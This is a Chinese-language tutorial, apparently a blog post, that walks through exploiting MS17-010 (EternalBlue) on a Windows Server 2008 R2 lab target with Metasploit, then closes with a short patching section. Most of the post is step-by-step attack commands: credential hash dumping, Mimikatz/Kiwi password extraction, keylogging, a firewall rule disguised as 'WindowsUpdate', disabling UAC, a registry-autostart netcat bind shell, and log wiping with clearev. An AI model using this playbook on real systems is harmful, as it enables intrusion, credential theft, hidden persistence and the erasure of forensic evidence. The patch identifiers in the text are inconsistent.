永恒之蓝完全实战:从SMB扫描到SYSTEM权限,注册表后门+键盘记录+清日志一条龙

摘要: 永恒之蓝(MS17-010)是2017年WannaCry勒索病毒的罪魁祸首,利用SMBv1协议漏洞可远程获取Windows系统最高权限。本文将基于Kali Linux 2026.1与Windows Server 2008 R2靶机,使用Metasploit完整演示:漏洞扫描、永恒之蓝攻击获取Meterpreter Shell、后渗透阶段的hash抓取、Kiwi明文密码提取、进程迁移、键盘记录、关闭UAC、利用注册表植入NC后门实现开机自启持久化控制、防火墙策略调整,以及最终通过安装官方补丁彻底免疫。同时深入解析Netcat(NC)的诞生故事与核心功能。全文旨在帮助读者理解完整攻击链路、持久化技巧与防御要点。


一、实验环境说明

设备角色 操作系统 / 版本 IP地址
攻击机 Kali Linux 2026.1(MSFconsole 6.x) 10.0.0.129/24
靶机 Windows Server 2008 R2(64位) 10.0.0.152/24

网络要求: 攻击机与靶机同一网段,能互相ping通,靶机445端口可访问。

注意: 靶机必须开启SMBv1协议(Windows Server 2008 R2默认开启)且未打KB4013389等补丁。


二、Netcat简介:网络工具中的瑞士军刀

Netcat (简称nc)被誉为"网络工具中的瑞士军刀",由Hobbit于1995年首次发布。它体积小巧(几十KB),但功能极其强大,可以在两台设备之间建立TCP/UDP连接,实现数据交互。

核心功能:

  • 侦听模式:在一台设备上开启端口监听,等待连接。

  • 传输模式:从一台设备主动连接到另一台设备的监听端口。

  • 端口扫描:探测目标开放端口。

  • 文件传输:通过重定向发送/接收文件。

  • 后门通道:将命令行绑定到某个端口,远程执行系统命令。

为什么它适合做后门? 攻击者获得系统权限后,可以将nc.exe上传到受害者主机,并配置为开机自启。之后任何时刻,攻击者只需nc 目标IP 端口就能获得一个远程命令行,且不会在目标上留下明显的恶意进程名称。

在本次实验中,我们将利用nc在Windows靶机上建立一个开机自启的后门,实现持久化控制。


三、漏洞传奇:从NSA武器库到全球勒索风暴

漏洞编号: MS17-010(包含CVE-2017-0143 ~ CVE-2017-0148)

影响组件: Windows SMBv1 协议

理论危害等级: 严重(远程代码执行,无需认证)

故事时间线:

  • 2017年3月:黑客组织Shadow Brokers泄露了NSA(美国国家安全局)的一批黑客工具,其中包括"永恒之蓝"(EternalBlue)。

  • 2017年4月:微软紧急发布安全更新MS17-010(补丁KB4013389等),但大量用户未及时安装。

  • 2017年5月12日:WannaCry勒索病毒爆发,利用永恒之蓝漏洞在短短几天内感染全球150多个国家30万台电脑,造成数十亿美元损失。

  • 2017年5月13日:一名安全研究员注册了病毒代码中的kill‑switch域名,意外阻止了传播,但变种仍层出不穷。

漏洞原理(简版): SMBv1在处理特定类型的数据包时存在多个缓冲区溢出漏洞。攻击者可发送精心构造的SMB消息,触发内核态代码执行,从而获得SYSTEM权限。

影响系统(未打补丁):

  • Windows Vista / 7 / 8 / 8.1

  • Windows Server 2008 / 2008 R2 / 2012 / 2012 R2

  • Windows 10 早期版本(已修复)


四、攻击阶段:从扫描到获得Meterpreter Shell

步骤1:启动MSF并搜索永恒之蓝模块
复制代码
msfconsole -q
msf > search ms17-010

关键模块:

  • auxiliary/scanner/smb/smb_ms17_010 ------ 扫描检测模块

  • exploit/windows/smb/ms17_010_eternalblue ------ 攻击利用模块

  • auxiliary/admin/smb/ms17_010_command ------ 命令执行辅助模块

步骤2:扫描确认漏洞存在
复制代码
msf > use auxiliary/scanner/smb/smb_ms17_010
msf > set RHOSTS 10.0.0.152
msf > run

输出应包括:

+ 10.0.0.152:445 - Host is likely VULNERABLE to MS17-010!

步骤3:发起攻击获取Meterpreter
复制代码
msf > back
msf > use exploit/windows/smb/ms17_010_eternalblue
msf > set RHOSTS 10.0.0.152
msf > run

成功后会进入:

验证权限:

复制代码
meterpreter > getuid # 获取用户信息

五、后渗透阶段:占领军全面控制

5.1 基础信息收集
复制代码
meterpreter > sysinfo
meterpreter > ipconfig
meterpreter > shell
C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> exit
5.2 抓取密码哈希(hashdump)
复制代码
meterpreter > hashdump

得到的NTLM哈希可尝试在线MD5解密网站(如cmd5.com)破解。

尝试通过破解的密码进行远程连接

5.3 使用Kiwi模块抓取明文密码

Kiwi是Mimikatz的MSF集成版,可从内存中提取明文密码。

复制代码
meterpreter > load kiwi
meterpreter > help kiwi
meterpreter > creds_all

如果靶机上有登录过的账户,可能直接输出明文密码。

5.4 进程迁移(提高稳定性)

默认Meterpreter进程可能不稳定,迁移到合法进程(如explorer.exe):

复制代码
meterpreter >  ps -S explore # 找到explorer.exe的PID
meterpreter > migrate 1234   # 替换为目标PID
meterpreter > getuid
5.5 键盘记录
复制代码
meterpreter > run post/windows/capture/keylog_recorder

然后在Windows靶机上打开记事本随意输入一些文字。

另打开一个Kali终端查看记录:

复制代码
cat /root/.msf4/loot/20260509205936_default_10.0.0.152_host.windows.key_221376.txt
5.6 关闭防火墙(或添加后门规则)

方法一:粗暴关闭防火墙

复制代码
meterpreter > shell
C:\Windows\system32>chcp 65001
C:\Windows\system32> netsh advfirewall set allprofiles state on #开启防火墙
C:\Windows\system32> netsh advfirewall set allprofiles state off #关闭防火墙

方法二:添加隐蔽入站规则(推荐)

复制代码
C:\Windows\system32> netsh advfirewall firewall add rule name="WindowsUpdate" dir=in action=allow protocol=tcp localport=4444

然后在Windows靶机上打开"高级安全Windows防火墙",查看入站规则,可以看到名为"WindowsUpdate"的规则。

5.7 关闭UAC(用户账户控制)

UAC会弹窗提醒权限提升操作,关闭后可使后门更隐蔽。

查看靶机当前UAC级别,默认是关闭的,运行输入msconfig,先打开

操作注册表关闭UAC

复制代码
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
5.8 利用注册表添加NC后门(持久化控制)

第一步:上传nc.exe到靶机

Kali默认自带nc.exe,路径为/usr/share/windows-binaries/nc.exe。在Meterpreter中上传:

复制代码
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32\\

验证上传成功:

复制代码
meterpreter > ls C:\\windows\\system32\\nc.exe

第二步:利用注册表添加开机自启后门 设置注册表键值,使系统每次启动时自动运行nc.exe,监听4444端口,并将cmd.exe绑定到该端口。

复制代码
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d "C:\\windows\\system32\\nc.exe -Ldp 4444 -e cmd.exe"

参数解释:

  • -L:持续监听,即使连接断开仍继续等待(Windows版特有)。

  • -d:后台运行,不弹出窗口。

  • -p 4444:监听端口4444。

  • -e cmd.exe:连接后执行cmd.exe,给予攻击者Shell。

第三步:查询注册表键值是否添加成功

复制代码
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

输出中应包含新创建的项 nc。

查询详细内容:

复制代码
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc

应显示:

Key: HKLM\software\microsoft\windows\currentversion\Run

Name: nc

Type: REG_SZ

Data: C:\windows\system32\nc.exe -Ldp 4444 -e cmd.exe

第四步:远程启动后门(或等待靶机重启)

无需重启,立即手动启动后门:

复制代码
meterpreter > shell
C:\Windows\system32> nc.exe -Ldp 4444 -e cmd.exe

此时nc开始在后台监听4444端口。

若靶机防火墙开启,需放行4444端口或暂时关闭防火墙(可参考5.6)

第五步:攻击机连接后门

在Kali新终端中(保持MSF会话存在或退出):

复制代码
nc 10.0.0.152 4444

连接成功后,你将获得靶机的cmd命令行:

至此,即使MSF的Meterpreter会话断开,只要靶机重启或nc进程存活,攻击者仍可通过nc 10.0.0.152 4444随时获得命令行,实现持久化后门。

5.9 清空事件日志(擦除痕迹)
复制代码
meterpreter > clearev

此命令清除应用程序、系统和安全日志。再去靶机的"事件查看器" → "Windows日志" → "安全"中查看,会发现日志已被清空。


六、防御阶段:安装补丁封神

补丁信息:

  • 安全公告:MS17-010

  • 对应KB编号(Windows Server 2008 R2):KB4012215

下载地址:

https://catalog.update.microsoft.com/Search.aspx?q=KB4012215

安装与验证:

下载补丁并拷贝到靶机,运行安装程序,完成后重启(此补丁需要在安装了SP1补丁的前提下安装,可参考上篇文章)

再次使用MSF扫描模块:

复制代码
msf > use auxiliary/scanner/smb/smb_ms17_010
msf > set RHOSTS 10.0.0.152
msf > run

输出变为:[+] Host does NOT appear vulnerable。攻击模块无法再获取Shell。

结论: 安装补丁后,永恒之蓝漏洞被彻底封堵。


七、总结

本文针对MS17-010(永恒之蓝)SMBv1远程代码执行漏洞,在Kali Linux 2026.1攻击机(10.0.0.129)与未打补丁的Windows Server 2008 R2靶机(10.0.0.152)环境中,完整复现了从漏洞扫描、攻击利用到后渗透控制及持久化后门植入的全过程。实验首先使用Metasploit扫描模块确认目标脆弱,随后通过永恒之蓝攻击模块成功获取SYSTEM权限的Meterpreter会话。在后渗透阶段,依次执行了哈希抓取、Kiwi模块提取明文密码、进程迁移、键盘记录、关闭UAC等操作,并重点演示了利用Netcat(NC)上传后门程序、通过注册表添加开机自启项、实现持久化远程命令行访问的技术细节,最后使用clearev命令清除系统日志以掩盖痕迹。同时,本文介绍了Netcat作为"网络瑞士军刀"的诞生背景与核心功能。实验最后,通过安装微软官方安全更新KB4013389彻底修复漏洞,验证了补丁的有效性。结果表明,永恒之蓝漏洞利用方式成熟、危害极大,且攻击者可结合注册表持久化技术长期控制目标;防御方必须及时安装补丁,并定期检查注册表启动项及异常进程。


**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

相关推荐
墨云安全2 天前
系统安全检测方案怎么写?从资产清点到复测闭环的技术框架
安全·网络安全·渗透测试·系统安全
行者-全栈开发3 天前
【Windows安全】CVE-2026-45657: Windows 内核 TCP/IP 可蠕虫远程代码执行漏洞修复指南
漏洞修复·永恒之蓝·windows安全·cve-2026-45657·windows内核漏洞·tcp/ip栈·可蠕虫rce
文章永久免费只为良心6 天前
Ctfshow_Web应用安全与防护_第二章_无字母数字命令执行
前端·python·安全·网络安全·渗透测试·ctf·红队渗透测试
墨云安全7 天前
AI 漏洞挖掘平台怎么评估?2026 年技术架构与选型要点
网络·人工智能·网络安全·架构·渗透测试
墨云安全7 天前
自动化渗透测试工具有哪些?2026 年引擎原理、任务编排与误报抑制实践
git·测试工具·网络安全·渗透测试·自动化
墨云安全8 天前
自动化安全测试工具的技术架构、集成方式与任务编排(2026 年实践)
人工智能·网络安全·渗透测试
墨云安全8 天前
AI 渗透测试是怎么实现的?2026 年大模型驱动测试用例生成的工程拆解
网络·人工智能·网络安全·渗透测试·测试用例
墨云安全8 天前
内网资产无法暴露到公网,怎么做安全检测?2026 年内网渗透测试的落地路径
开发语言·安全·网络安全·渗透测试·php
墨云安全12 天前
红队评估和渗透测试的区别是什么?2026 年从目标、方法到交付物的对比
网络·安全·web安全·网络安全·渗透测试
白猫不黑15 天前
AI自动化漏洞挖掘从入门到进阶超详细学习路线
人工智能·学习·web安全·网络安全·信息安全·渗透测试·自动化